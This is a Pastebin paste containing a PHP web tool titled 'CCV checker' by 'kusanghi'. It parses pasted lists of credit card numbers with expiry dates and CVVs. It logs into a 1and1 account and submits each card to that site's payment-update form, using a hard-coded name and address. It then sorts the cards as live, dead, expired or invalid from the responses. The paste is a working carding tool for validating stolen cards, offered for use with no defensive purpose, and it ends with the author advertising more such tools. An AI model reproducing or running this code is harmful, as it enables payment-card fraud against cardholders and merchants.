Advertisement
kusanghi

Untitled

May 20th, 2014
1,591
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.63 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>CCV checker Kusanghi</title>
  6.  
  7. <style>
  8. body, table{
  9.     background:#000000;
  10.     padding:5px;
  11.     margin:5px;
  12.     font-family:Tahoma;
  13.     font-size:11px;
  14.     color:#FFFFFF;
  15. }
  16. textarea,input,select
  17. {
  18.     background:#736F6E;
  19.     color:#FFFFFF;
  20.     border:dashed #ffff00;
  21. }
  22. a {
  23.     color:#00ff00;
  24. }
  25. a:hover{
  26.     color:#ffff00;
  27. }
  28.  
  29.  
  30. fieldset {
  31.   padding:5px;
  32.   border-width: 1px;
  33.   border-style: dotted;
  34.   border-color: #ccc;
  35.   text-align: left;
  36.   background: #000000;
  37.   position: relative;
  38. }
  39.  
  40. legend {
  41.   border-width: 1px;
  42.   border-style: solid;
  43.   border-color: #ccc;
  44.   padding: 0 0.5em;
  45.   background: #000000;
  46.   font-size: 110%;
  47.   color: #3e8f96;
  48.   line-height: 1.5em;
  49.   position: relative;
  50.   top: -0.75em;
  51.   letter-spacing: 2px;
  52.   font-weight: bold;
  53. }
  54. .style1 {
  55.     background-color: #008000;
  56. }
  57. </style>
  58. <script type="text/javascript" src="jquery.min.js"></script>
  59. </head>
  60.  
  61. <body onLoad="init()">
  62.  
  63. <div id="loading" style="position:absolute; width:100%; text-align:center; top:250px;">
  64. Processing, wait...<br />
  65. <img src="loading.gif" border=0></div>
  66.  
  67. </body>
  68. <script>
  69. var ld=(document.all);
  70. var ns4=document.layers;
  71. var ns6=document.getElementById&&!document.all;
  72. var ie4=document.all;
  73. if (ns4)
  74. ld=document.loading;
  75. else if (ns6)
  76. ld=document.getElementById("loading").style;
  77. else if (ie4)
  78. ld=document.all.loading.style;
  79. function init()
  80. {
  81. if(ns4){ld.visibility="hidden";}
  82. else if (ns6||ie4) ld.display="none";
  83. }
  84. </script>
  85. <?php
  86. function _curl($url,$post="",$usecookie = true) {  
  87.     $ch = curl_init();
  88.     if($post) {
  89.         curl_setopt($ch, CURLOPT_POST ,1);
  90.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  91.     }
  92.     curl_setopt($ch, CURLOPT_URL, $url);
  93.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  94.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
  95.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  96.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  97.     if ($usecookie) {
  98.     curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  99.     curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  100.     }
  101.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  102.     $result=curl_exec ($ch);
  103.     curl_close ($ch);
  104.     return $result;
  105. }
  106.  
  107.  
  108.  
  109. function percent($num_amount, $num_total) {
  110. $count1 = $num_amount / $num_total;
  111. $count2 = $count1 * 100;
  112. $count = number_format($count2, 0);
  113. return $count;
  114. }
  115.  
  116. function getStr($string,$start,$end){
  117.     $str = explode($start,$string);
  118.     $str = explode($end,$str[1]);
  119.     return $str[0];
  120. }
  121.  
  122. function checkMon($date,$type){
  123.     $len = strlen($date);
  124.     if ($type == 2){
  125.         if($len == 2){
  126.             return $date;
  127.         }
  128.         elseif($len == 1){
  129.             switch($date){
  130.                 case '1':  $date='01'; break;
  131.                 case '2':  $date='02'; break;
  132.                 case '3':  $date='03'; break;
  133.                 case '4':  $date='04'; break;
  134.                 case '5':  $date='05'; break;
  135.                 case '6':  $date='06'; break;
  136.                 case '7':  $date='07'; break;
  137.                 case '8':  $date='08'; break;
  138.                 case '9':  $date='09'; break;
  139.             }
  140.         }
  141.         return $date;
  142.     }
  143.     elseif ($type == 1){
  144.         if($len == 2){
  145.             switch ($date){
  146.                 case '01':  $date='1'; break;
  147.                 case '02':  $date='2'; break;
  148.                 case '03':  $date='3'; break;
  149.                 case '04':  $date='4'; break;
  150.                 case '05':  $date='5'; break;
  151.                 case '06':  $date='6'; break;
  152.                 case '07':  $date='7'; break;
  153.                 case '08':  $date='8'; break;
  154.                 case '09':  $date='9'; break;
  155.                 case '10': $date='10'; break;
  156.                 case '11': $date='11'; break;
  157.                 case '12': $date='12'; break;
  158.             }
  159.             return $date;
  160.         }
  161.         elseif($len == 1) return $date;
  162.     }
  163.     else return false;
  164. }
  165.  
  166.  
  167. function checkYear($date,$type){
  168.     $len = strlen($date);
  169.     if($type == 4){
  170.         if($len == 4) return $date;
  171.         elseif($len == 2) return "20".$date;
  172.     }
  173.     elseif($type == 2){
  174.         if($len == 2) return $date;
  175.         elseif($len == 4) return substr($date,-2);
  176.     }
  177.     else return false;
  178. }
  179.  
  180. function multi_explode($pattern, $string, $standardDelimiter = ':'){
  181.     $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
  182.     return explode($standardDelimiter, $string);
  183. }
  184.  
  185. function info($ccline,$type){
  186.     $iscvv = 1;
  187.     $pattern = '/[:\|\\\\\/\s]/';
  188.     $line = multi_explode($pattern,$ccline);
  189.    
  190.     $typemy = explode(" ",$type);
  191.     $typem = strlen($typemy[0]);
  192.     $typey = strlen($typemy[1]);
  193.    
  194.     $amex = "AmexCard";
  195.     $visa = "VisaCard";
  196.     $mast = "MasterCard";
  197.     $disc = "DiscoverCard";
  198.  
  199.     foreach($line as $col){
  200.         if(is_numeric($col)){
  201.             switch(strlen($col)){
  202.                 case 15:
  203.                     if(substr($col,0,1)==3){
  204.                         $ccnum['num'] = $col;
  205.                         $ccnum['type'] = $amex;
  206.                     }
  207.                     break;
  208.                 case 16:
  209.                     switch(substr($col,0,1)){
  210.                         case '4':
  211.                             $ccnum['num'] = $col;
  212.                             $ccnum['type'] = $visa;
  213.                             break;
  214.                         case '5':
  215.                             $ccnum['num'] = $col;
  216.                             $ccnum['type'] = $mast;
  217.                             break;
  218.                         case '6':
  219.                             $ccnum['num'] = $col;
  220.                             $ccnum['type'] = $disc;
  221.                             break;
  222.                     }
  223.                     break;
  224.                 case 1:
  225.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
  226.                 case 2:
  227.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
  228.                         $ccnum['mon'] = checkMon($col,$typem);
  229.                     }
  230.                     elseif (($col >= 9) and ($col <= 34) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
  231.                     break;
  232.                 case 4:
  233.                     if (($col >= 2009) and ($col <= 2034) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
  234.                     elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 34) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
  235.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  236.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  237.                     }
  238.                     else $ccv['cv4'] = $col;
  239.                     break;
  240.                 case 6:
  241.                     if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2034) and (substr($col,2,4) <= 2034)){
  242.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  243.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  244.                     }
  245.                     break;
  246.                     case 5:
  247.                     $ccnum['zip'] = $col;
  248.                     break;
  249.                 case 3:
  250.                     $ccv['cv3'] = $col;
  251.                     break;
  252.             }
  253.         }
  254.     }
  255.     if($iscvv == 1){
  256.         if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
  257.         else $ccnum['cvv'] = $ccv['cv3'];
  258.         return $ccnum;
  259.     }
  260.     else return $ccnum;
  261. }
  262.  
  263. function state($zip){
  264.     $file = file_get_contents('../db/zipdb.csv');
  265.     $info = "'".trim(getStr($file,"'$zip'","\n"));
  266.     $info = explode("', '",$info);
  267.     return trim($info[1]);
  268. }
  269.  
  270.  
  271. function inStr($s,$as){
  272.     $s=strtoupper($s);
  273.     if(!is_array($as)) $as=array($as);
  274.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  275.     return false;
  276. }
  277.  
  278. if ($_POST['cclist']){
  279.         global $cookie;
  280.         $cookie = tempnam('robocon','avo'.rand(1000000,9999999).'tmp.txt');
  281.  
  282.         $cclive = "";
  283.         $ccdie = "";
  284.         $ccerr = "";
  285.         $cccant = "";
  286.         $uncheck = "";
  287.         $limit = "";
  288.        
  289.         $cclist = trim($_POST['cclist']);
  290.         $cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
  291.         $cclist = str_replace("\r\r","\r",$cclist);
  292.         $cclist = str_replace("\n\n","\n",$cclist);
  293.         $cclist = explode("\n",$cclist);
  294.  
  295.  
  296.    
  297.         $STT = 0;
  298.         $TOTAL = count($cclist);
  299.                 $free = 0;
  300.                 $fee = 3;
  301.         $countf = 0;
  302.    
  303.         for($i=0;$i<count($cclist);$i++){
  304.                         $countf++;
  305.             $ccnum = info($cclist[$i],"xx yyyy");
  306.             $type = $ccnum['type'];
  307.             $ccn = $ccnum['num'];
  308.             $ccmon = $ccnum['mon'];
  309.             $ccyear = $ccnum['year'];
  310.                         if($ccyear==2014) {$ccyear="14";}
  311.                 elseif($ccyear==2015) {$ccyear="15";}
  312.                 elseif($ccyear==2016) {$ccyear="16";}
  313.                 elseif($ccyear==2017) {$ccyear="17";}
  314.                 elseif($ccyear==2018) {$ccyear="18";}
  315.                 elseif($ccyear==2019) {$ccyear="19";}
  316.                 elseif($ccyear==2020) {$ccyear="20";}
  317.                 elseif($ccyear==2021) {$ccyear="21";}
  318.                 elseif($ccyear==2022) {$ccyear="22";}
  319.                 elseif($ccyear==2023) {$ccyear="23";}
  320.                 elseif($ccyear==2024) {$ccyear="24";}
  321.                 elseif($ccyear==2025) {$ccyear="25";}
  322.                 elseif($ccyear==2026) {$ccyear="26";}
  323.                 elseif($ccyear==2027) {$ccyear="27";}
  324.                 elseif($ccyear==2028) {$ccyear="28";}
  325.                 elseif($ccyear==2029) {$ccyear="29";}
  326.                 elseif($ccyear==2030) {$ccyear="30";}
  327.                 elseif($ccyear==2031) {$ccyear="31";}
  328.                 elseif($ccyear==2032) {$ccyear="32";}
  329.                 elseif($ccyear==2033) {$ccyear="33";}
  330.                 elseif($ccyear==2034) {$ccyear="34";}
  331.             $cvv = $ccnum['cvv'];
  332.            
  333.             if ($ccn){
  334.                 $STT++;
  335. // Process CURL Session
  336.         $UserLogin = 'TaiKhoanODay';
  337.         $PassLogin = 'PassODay';
  338.         $link1 = "https://my.1and1.com/ChangeCCDataPrep";
  339.         $s = _curl($link1,$cookie);
  340.  
  341. // Process Login
  342.         $session = getStr($s,'method="post" id="login-form" action="','"');
  343.         $link2 = "https://my.1and1.com".$session;
  344.         $post = "__lf=ChangeCCDataFlow&__sendingdata=1&__sendingauthdata=1&login.SelectContract=&login.User=".$UserLogin."&login.Pass=".$PassLogin."&__SBMT%3Ad0e810d2%3A=";
  345.         $s = _curl($link2,$post);
  346. // Process Payment
  347.         $ipay = getStr($s,'frameborder="0" height="800" scrolling="auto" width="100%" src="','"');
  348.         $s = _curl($ipay,$cookie);
  349.         $ip = getStr($s,'name="__ip_sess" value="','"');
  350.         $link = $ipay;
  351.         $post = "trx_paymenttyp=cc&addr_data_used=alt&cc_typ=$type&cc_number=$ccn&cc_checkcode=$cvv&cc_expdate_month=$ccmon&cc_expdate_year=$ccyear&alt_addr_name=Anna+Conway&alt_addr_street=22900+Estoril+Dr&alt_addr_street2=&alt_addr_city=Diamond+bar&alt_addr_zip=91765&alt_addr_country=US&alt_addr_state=CA&__ip_sess=$ip&ccform_submit.x=39&ccform_submit.y=9";
  352.         $s = _curl($link,$post);
  353.                     if(inStr($s,'Thank You')){
  354.                         echo "$STT/$TOTAL | <font color=green>Live | ".$cclist[$i]." "." | \n</font><br>";
  355.                         $cclive .= $cclist[$i]."\n" ;                                                                                        
  356.                     }
  357.                     elseif(inStr($s,'This credit card cannot be accepted. Please check your data.')){
  358.                         echo "$STT/$TOTAL | <font color=red>Die | ".$cclist[$i]." "." | \n</font><br>";  
  359.                         $ccdie .= $cclist[$i]."\n";
  360.                     }
  361.                     elseif(stristr($s,'This card is about to expire. Please use another credit card.')){
  362.                         echo "$STT/$TOTAL | <font color=blue>Exp | ".$cclist[$i]." "." | \n</font><br>";
  363.                         $ccexp .= $cclist[$i]."\n";
  364.                     }
  365.                     elseif(stristr($s,'Invalid expiration date')){
  366.                         echo "$STT/$TOTAL | <font color=blue>Exp | ".$cclist[$i]." "." | \n</font><br>";
  367.                         $ccexp .= $cclist[$i]."\n";
  368.                     }
  369.                     elseif(inStr($s,'Invalid credit card number.')||inStr($s,'The credit card number is invalid for the choosen card type.')){
  370.                         echo "$STT/$TOTAL | <font color=DarkTurquoise>Card Invalid | ".$cclist[$i]." "." | \n</font><br>";
  371.                         $ccinva .= $cclist[$i]."\n";
  372.                     }
  373.                     else{
  374.                         echo "$STT/$TOTAL| <font color=orange>Cant Check | ".$cclist[$i]." "." | \n</font><br>";
  375.                         $cccanot .= $cclist[$i]."\n";
  376.                     }
  377.                    
  378.                 }
  379.                 flush();
  380.         }
  381.         unlink($cookie);
  382.  
  383.         $per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
  384.         $per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
  385.         $per3 = percent(count(explode("\n",$ccinva))-1,count($cclist));
  386.         $per4 = percent(count(explode("\n",$ccexp))-1,count($cclist));
  387.         $per5 = percent(count(explode("\n",$cccant))-1,count($cclist));
  388.         $per6 = percent(count(explode("\n",$limit))-1,count($cclist));
  389.         echo "<br><br><center><input type='submit' value='Next Check' onclick='location.replace(\"?\")'/></center>";
  390.         echo "<center>";
  391.         if($cclive!=""){
  392.             echo "<h2><font color=green>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
  393.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$cclive</textarea><br>";
  394.         }
  395.         if($ccdie!=""){
  396.             echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
  397.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccdie</textarea><br>";
  398.         }
  399.         if($ccinva!=""){
  400.             echo "<h2><font color=red>Invalid</font> $per3 % (".(count(explode("\n",$ccinva))-1)."/".count($cclist).")</h2>";
  401.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccinva</textarea><br>";
  402.         }
  403.         if($ccexp!=""){
  404.             echo "<h2><font color=red>Exp</font> $per4 % (".(count(explode("\n",$ccexp))-1)."/".count($cclist).")</h2>";
  405.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccexp</textarea><br>";
  406.         }
  407.         if($cccant!=""){
  408.             echo "<h2><font color=orange>CantCheck</font> $per5 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
  409.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$cccant</textarea><br>";
  410.         }
  411.  
  412. }
  413.  
  414. else{
  415. ?>
  416. <center><span class="style1">ACCEPT VISA-MASTER-AMEX-DIS<br>Accept All Country</span></center>
  417. <form method="POST" action="">
  418.       <fieldset>
  419.           <legend>Enter List CC :</legend>
  420.             <form action="" method=post name=f>
  421.  
  422.         <p align="center">
  423.         <textarea id="cclist" name="cclist" class="textarea" style="width: 978px; height: 210px">You need Coder Tool Check CCV, PM YH: kusanghi
  424. You have Gate Check, You need code Tool. Mail : quocbao.cps@gmail.com</textarea><br>Duplicate Remove: <input name=dup type=checkbox value=1 checked> Sort By Type: <input name=type type=checkbox value=1 checked><br>
  425.             Filter Date : <input name=date type=checkbox value=1 checked> Only check BIN: <input type=text name=bin MAXLENGTH=6 size=8 style="text-align:center"><br>
  426.         <input type=submit name=submit value="CHECK">
  427.  
  428.     </p>
  429.  
  430.     </form>
  431. </fieldset>
  432.     <?php }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement